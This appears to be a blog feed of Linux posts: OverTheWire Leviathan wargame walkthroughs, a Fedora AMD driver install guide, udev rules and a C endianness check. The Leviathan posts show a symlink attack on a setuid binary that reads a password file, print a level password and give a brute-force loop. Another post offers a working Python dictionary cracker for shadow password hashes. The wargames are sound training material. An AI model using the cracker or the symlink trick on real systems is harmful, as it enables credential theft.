OverTheWire Leviathan Wargame Solution 2

Demux

Leviathan2 presents us with a small binary that belongs to the user leviathan3 and group leviathan2. The program contains a small security hole that can be exploited using a symbolic link.  To understand how the program functions at its core and what is happening behind the scenes when the program executes, we will use a few Linux commands and techniques to enlighten us with this information.

Edited: 3/18/2014:

  • Updated with current solution
  • Made more readable

Leviathan 2->3:

For the sake of this updated tutorial, we are going to go ahead and create a directory and a file with a space in the name all in one go:

We can see that the function access() and /bin/cat is being called on the file. What access() does is check permissions based on the process’ real user ID rather than the effective user ID. We can also see that /bin/cat/ is being…

View original post 204 more words

Installing AMD Catalyst in Fedora 20

Recently I did a fresh install of the Fedora 20 KDE spin. One of the things that I did not realize when installing Fedora 20 was that the AMD Catalyst package is no longer supported. What am I supposed to do? It seems the last available support in any rpm repos was for F19. Browsing the forums I could see a lot of people doing some editing and hacking attempting to get the older packages to work. Seeing all this, the old engineering adage came to mind, “if you’re trying too hard it’s because you are doing it wrong”.

Now don’t get me wrong, I would love to have the open source Radeon driver running on my box, but it simply doesn’t compare to the proprietary driver right now. My machine runs cooler with the proprietary driver and I have better video and graphics performance. So how do I get my ATI card working on my Fedora 20 install you ask? Here are the details:

Installing AMD Catalyst on Fedora 20:

For starters, you will need to have some prerequisite packages installed to get the driver working:

# yum install gcc binutils make kernel-devel kernel-headers

Secondly, you will want to grab AMD Catalyst 13.11 beta from AMD, unzip it and make it executable:

wget –-referer=’http://support.amd.com/en-us/download/desktop?os=Linux+x86′ http://www2.ati.com/drivers/beta/amd-catalyst-13.11-betav9.95-linux-x86.x86_64.zip

# unzip amd-catalyst-13.11-betav9.95-linux-x86.x86_64.zip

# chmod a+x amd-catalyst-13.11-betaV9.95-linux-x86.x86_64.run

Within your root terminal, navigate to your package and run the .run file:

# ./amd-catalyst-13.11-betaV9.95-linux-x86.x86_64.run

You should be installing the driver with no hitch now. (If running Gnome, see possible caveats below). After you have rebooted, check it went okay with this command $ fglrxinfo, though I can visually discern the driver is working because my screen resolution is correct and much, much better looking.

Here is some sample output from my box:

[demux@localhost ~]$ fglrxinfo
 display: :0  screen: 0
 OpenGL vendor string: Advanced Micro Devices, Inc.
 OpenGL renderer string: ATI Radeon HD 5670
 OpenGL version string: 4.3.12615 Compatibility Profile Context 13.25.18

Possible Caveats:

There are always caveats right? I only know of this working on XFCE and KDE, though it should work with others. However, there are reports that Gnome installs may run into some problems. This is apparently because Gnome has made provisions in their code to embrace the Wayland display server. The code within that is reported to conflict with the ATI code.

Also, you may have to re-install Catalyst after a kernel update. Though so far, I have not needed to. But it is possible. Dkms might allow the kernel to automatically incorporate the drive in new kernels, but I have not tested this or needed it thus far. If worse comes to worse, you will need to re-run the .run file. This method of install should work for future versions of Fedora as well and is really a general method of install for the proprietary driver.

Linux Password Cracker

python

python

It has been about a month since I have posted, that does not mean I have stopped coding. Lately I’ve been back on my “security” kick. Although for me it’s more of an obsession rather than just a kick. When it comes to security, a programming language like Python can make many common task a breeze to accomplish. Here I have a basic Linux password cracker that can crack the current SHA-512 shadowed hashes from a user supplied dictionary and detect whether a hash is the lesser used MD5 or SHA-256 format. Enjoy.

import crypt

def testPass(cryptPass):
hashType = cryptPass.split("$")[1]
if hashType == '1':
print "[+] Hash Type is MD5"
elif hashType == '5':
print "[+] Hash Type is SHA-256"
elif hashType == '6':
print "[+] Hash Type is SHA-512"
else:
"[+] Hash Type is Unknown"

salt = cryptPass.split("$")[2]
dictFile = open('dictionary.txt', 'r')
for word in dictFile.readlines():
word = word.strip('\n')
pepper = "$" + hashType + "$" + salt
cryptWord = crypt.crypt(word, pepper)
if cryptWord == cryptPass:
print '[+] Found Password: ' + word + '\n'
return
print '[-] Password Not Found.\n'
return

def main():
passFile = open('passwords.txt')
for line in passFile.readlines():
if ':' in line:
user = line.split(':')[0]
cryptPass = line.split(':')[1].strip(' ')
print '[*] Cracking Password For: ' + user
testPass(cryptPass)

if __name__ == '__main__':
main()

Renaming Network Interfaces with Udev Rules

linuxRecently I have noticed something while troubleshooting some network traffic issues. My wireless interface decided to rename itself to an obscure string presumably after an update to either Network Manager or udev. Specifically wlan0 was being renamed to wlp0s22f2u1 when it had previously been wlan0 for as long as I can remember. Digging around, I realized that I no longer had the file: /etc/udev/rules.d/70-persistent-net.rules. This file contains rules that udev will use to name network interfaces, but it was missing. Fortunately it is easy to create or alter if you want to rename network interfaces to stable names.

Let's first grab the hardware address of the problem interface:
ifconfig -a

You will see some output like so:


wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1492
        inet 192.168.2.2  netmask 255.255.255.0  broadcast 192.168.2.255
        inet6 fe80::2c0:caff:fe40:b198  prefixlen 64  scopeid 0x20<link>
        ether 00:01:02:03:04:05  txqueuelen 1000  (Ethernet)
        RX packets 4407  bytes 2748119 (2.6 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6714  bytes 1423408 (1.3 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Amongst all the noise, we can see from our output of ifconfig that our hardware address is 00:01:02:03:04:05(ether or hwaddr line*). Now as root, create the file 70-persistent-net.rules with your favorite editor in /etc/udev/rules.d:

# vi /etc/udev/rules.d/70-persistent-net.rules

Now enter or copy/paste in this information. Remember, each rule needs to be on it's own line.

# wlan0
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:01:02:03:04:05", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="wlan*", NAME="wlan0"

Now you can either reboot or attempt a udev restart. A reboot will ensure rules are reloaded, but you can try some of these commands on various distros:

# udevadm control --reload-rules
or
# udevadm trigger

Closing thoughts. The system does work perfectly fine without renaming interfaces to stable names. And quite possibly a future udev upgrade may wipe this rule out. But for anyone like me who likes clean interface names or anyone needing to rename interfaces for reasons out of context here, this is one way to do this on many Linux distros.

C Program To Determine Byte Order (Endianness)

C programRecently I needed to needed to check the endianness of a machine. I assumed the machine was Little Indian but wanted to make sure, thus this C code snippet. It’s important to understand that endian.h is not cross-platform, and exist only on Linux machines. There are standard byte order functions you can use if you are on Windows to figure this stuff out. Perhaps I will show an example of that later.

ByteOrder.c


#include <stdio.h>
#include <endian.h>

int main (void)
{
#if BYTE_ORDER == LITTLE_ENDIAN
printf("system is little Endian \n");
#elif BYTE_ORDER == BIG_ENDIAN
printf("system is big Endian \n");
#else
printf("whats going on? \n");
#endif

return 0;
}

OverTheWire Leviathan Wargame Solution 6

The final stage of Leviathan presents us with a problem that can be solved via some quick bash scripting. The binary in our home directory accepts a 4 digit combination as the password. Iterating through all the possible combination manually would take too much time. So we create a bash script to do this in a matter of seconds.

Leviathan6->7

leviathan6@melinda:~$ ls
leviathan6
leviathan6@melinda:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@melinda:~$ ./leviathan6 1111
Wrong

# Create a directory in /tmp to work in:
leviathan6@melinda:/$ mkdir /tmp/bashbrute
leviathan6@melinda:/$ cd /tmp/bashbrute/
leviathan6@melinda:/tmp/bashbrute$ nano brute.sh

#Remember to give your script execute privileges
leviathan6@melinda:/tmp/bashbrute$ chmod +x bashbrute.sh

Quick bash script I wrote that will brute force the binary, use this in brute.sh, or create your own…


#!/bin/bash

for i in {0000..9999}
do
~/leviathan6 $i
done

Run the binary and simply wait for it to iterate through all possible number combinations. Note that we could echo out the password when we find it. Here the script will simply input the pass to the binary and pop us into leviathan7’s shell when it finds a match.

#Go ahead and run the script...
leviathan6@melinda:/tmp/bashbrute$ ./bashbrute.sh

#Let it run, takes about 20 seconds...

#Verify we are in Leviathan7's shell:
$ whoami
leviathan7

Alas, we have made it to the final level of Leviathan. Technically we are done. If you want, you can still cat leviathan7’s password and ssh over to the next level. There is a special congratulations message there for the winners.

leviathan7@melinda:~$ ls
CONGRATULATIONS
leviathan7@melinda:~$ cat CON*
Well Done, you seem to have used a *nix system before, now try something more serious.

I hope the Leviathan series has been informative and fun for you as it was for me. You should have picked up some Linux skills as well as a few security skills. The congratulations message encourages us to try something more serious. I think I will begin posting my Natas solutions. Natas is about basic serverside web-security and might be a good change of pace. Stay tuned for future OvertheWire solutions and programming snippets.

OverTheWire Leviathan Wargame Solution 5

A lesson in symlinks is long overdue. In Leviathan 6, we will exploit a binary by using using symbolic linking to a file we have permission of. When we run the binary in Leviathan5’s home directory, it appears to be attempting to read from a file in /tmp. The binary is owned by Leviathan6 but belongs to the Leviathan5‘s group. Therefore, it can pull Leviathan6’s password.

Leviathan 5->6

leviathan5@melinda:~$ ls -la
-r-sr-x---   1 leviathan6 leviathan5 7501 Jun  6 13:59 leviathan5

#Try to run the binary
leviathan5@melinda:~$ ./leviathan5
/tmp/file.log: No such file or directory

#Since we need Leviathan 6's pass, symlink that to the log we create within the same command:
leviathan5@melinda:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log

#Now run the binary, which apparently reads whatever is in /tmp/file.log
leviathan5@melinda:~$ ./leviathan5
UgaoFee4li

We successfully exploited bad permissions placement on files via symlinking and now have Leviathan6’s pass as a result. These types of issues are still in existence in the real world believe it or not.